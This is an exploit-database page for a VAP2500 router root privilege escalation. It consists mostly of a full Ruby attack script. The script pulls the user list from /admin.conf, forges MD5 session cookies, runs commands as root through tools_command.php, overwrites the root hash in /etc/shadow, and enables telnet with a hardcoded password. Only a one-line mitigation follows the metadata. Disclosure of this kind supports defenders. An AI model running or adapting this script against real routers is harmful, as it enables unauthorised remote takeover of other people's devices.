header-logo
Suggest Exploit
vendor:
VAP2500 Router
by:
Anonymous
7,5
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: VAP2500 Router
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

VAP2500 Root Privilege Escalation

This exploit is for the VAP2500 router. It allows an attacker to gain root privileges by modifying the root password and enabling telnet.

Mitigation:

Disable telnet and use SSH instead.
Source

Exploit-DB raw data:

#!/usr/bin/env ruby

require 'net/http'
require 'digest/md5'

if !ARGV[0]
  puts "Usage: #{$0} <vap2500_ip_address>"
  exit(0)
end

host = ARGV[0]
new_pass = "h4x0r3d!"

http = Net::HTTP.new(host).start
users = nil
users = http.request_get("/admin.conf").body.split("\n").map! {|user| user.sub(/^(.*?),.*$/,"\\1")}

if users
  puts "[*] found user accounts: #{users.inspect}"
  puts "[*] checking for root privs"
else
  puts "[!!!] could not find any user accounts. exiting."
  exit(-1)
end

root_privs = nil
users.each {|user|
  if http.request_post("/tools_command.php","cmb_header=&txt_command=whoami",{"Cookie" => "p=#{Digest::MD5.hexdigest(user)}"}).body =~ /root/
    puts "[*] root privs found: #{user}"
    root_privs = user
    break
  end
}

if !root_privs
  puts "[!!!] could not find a root priv account. exiting."
  exit(-1)
end

puts "[*] modifying root password"
new_hash = new_pass.crypt("$1$#{new_pass}$").gsub("$","\\$")
http.request_post("/tools_command.php","cmb_header=&txt_command=sed -i -r \"s/root:[^:]*:(.*)/root:#{new_hash}:\\1/g\" /etc/shadow",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"})

puts "[*] enabling telnet"
if http.request_post("/tools_command.php","cmb_header=&txt_command=rm /mnt/jffs2/telnet-disabled; sh /etc/init.d/S42inetd start",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"}).body =~ /Starting inetd/
  puts "[*] success! telnet to #{host} (user:root pass:#{new_pass})"
else
  puts "[!!!] couldn't start telnet"
end